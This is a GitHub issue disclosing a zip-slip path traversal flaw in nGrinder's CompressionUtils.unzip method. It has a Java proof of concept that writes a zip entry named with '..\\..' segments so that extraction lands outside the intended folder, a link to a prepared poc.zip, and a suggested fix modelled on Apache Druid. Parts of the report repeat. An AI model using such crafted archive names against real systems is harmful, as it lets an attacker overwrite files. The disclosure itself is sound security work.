You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
, it is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite and other situations.
Proof of Concept
Use the following zip() method to create a zip file from a txt file, and the name of the compressed file will be renamed to "....\a\b\c\poc.txt". (You should create this path firstly)
Then call the CompressionUtils.unzip() method, originally intended to unzip the file to "D:\project\TestProject\ICFuzzTest\testData\unzip", but it will eventually be extracted to its another directory "D:\project\TestProject\ICFuzzTest\a\b\c\poc.txt".
This may cause the original file to be overwritten by a high-risk file.
importorg.apache.commons.io.IOUtils;
importjava.io.File;
importjava.io.FileInputStream;
importjava.io.FileOutputStream;
importjava.io.IOException;
importjava.io.InputStream;
importjava.util.zip.ZipEntry;
importjava.util.zip.ZipInputStream;
importjava.util.zip.ZipOutputStream;
/** * 在Ngrinder中存在unZip方法,可能有路径穿越的问题 */publicclassNgrinderUnzip {
publicstaticvoidmain(String[] args) throwsIOException {
// zip(); // create a pocStringzipFilePath = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip";
Stringdestination = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip";
InputStreamin = newFileInputStream(zipFilePath);
unzip(in, newFile(destination), "UTF-8");
}
//https://github.com/naver/ngrinder/blob/5267a1b398953110e27cf1259f136f66b8bbd0ba/ngrinder-core/src/main/java/org/ngrinder/common/util/CompressionUtils.java#L105/** * Unzip the given input stream into destination directory with the given * character set. * * @param is input stream * @param destDir destination directory * @param charsetName character set name */publicstaticvoidunzip(InputStreamis, FiledestDir, StringcharsetName) {
byte[] buffer = newbyte[1024];
ZipInputStreamzis = null;
FileOutputStreamfos = null;
try {
if (!destDir.exists()) {
destDir.mkdir();
}
zis = newZipInputStream(is);
ZipEntryze = zis.getNextEntry();
while (ze != null) {
StringfileName = ze.getName();
FilenewFile = newFile(destDir.getAbsolutePath(), fileName);
if (!newFile.toPath().normalize().startsWith(destDir.getAbsolutePath())) {
thrownewRuntimeException("Bad zip entry");
}
if (newFile.getPath().contains("..")) {
thrownewIllegalArgumentException("zip entry should not contain .. in the path.");
}
if (ze.isDirectory()) {
newFile.mkdirs();
} else {
fos = newFileOutputStream(newFile);
intlen;
while ((len = zis.read(buffer)) > 0) {
fos.write(buffer, 0, len);
}
IOUtils.closeQuietly(fos);
}
ze = zis.getNextEntry();
}
} catch (Exceptione) {
// throw processException(e);
} finally {
IOUtils.closeQuietly(fos);
IOUtils.closeQuietly(is);
IOUtils.closeQuietly(zis);
}
}
// create a pocpublicstaticvoidzip() {
ZipOutputStreamzos = null;
try {
zos = newZipOutputStream(newFileOutputStream(
"D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip"));
StringsrcFile = "..\\..\\a\\b\\c\\poc.txt"; // the next filePathStringdestFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.txt";
zos.putNextEntry(newZipEntry(srcFile));
FileInputStreamin = newFileInputStream(destFile);
intlen;
byte[] buf = newbyte[1024];
while ((len = in.read(buf)) != -1) {
zos.write(buf, 0, len);
}
zos.closeEntry();
in.close();
} catch (Exceptione) {
thrownewRuntimeException("zip error from ZipUtils", e);
} finally {
if (zos != null) {
try {
zos.close();
} catch (IOExceptione) {
e.printStackTrace();
}
}
}
}
}
I think we can add a simple verification check on the path to avoid this issue. We can refer to other verification methods for unzip under Apache, such as:
Description
In the method "unzip" (line 105) of the file
ngrinder/ngrinder-core/src/main/java/org/ngrinder/common/util/CompressionUtils.java
Line 105 in 5267a1b
Proof of Concept
Use the following zip() method to create a zip file from a txt file, and the name of the compressed file will be renamed to "....\a\b\c\poc.txt". (You should create this path firstly)
Then call the CompressionUtils.unzip() method, originally intended to unzip the file to "D:\project\TestProject\ICFuzzTest\testData\unzip", but it will eventually be extracted to its another directory "D:\project\TestProject\ICFuzzTest\a\b\c\poc.txt".
This may cause the original file to be overwritten by a high-risk file.
The following is the constructed zip file:
https://github.com/Zlase0820/VulnData/blob/main/src.main/data/poc.zip
Suggestion
I think we can add a simple verification check on the path to avoid this issue. We can refer to other verification methods for unzip under Apache, such as:
https://github.com/apache/druid/blob/master/processing/src/main/java/org/apache/druid/utils/CompressionUtils.java#L242
He has the same error,and fixed in CVE-2023-27603.
The text was updated successfully, but these errors were encountered: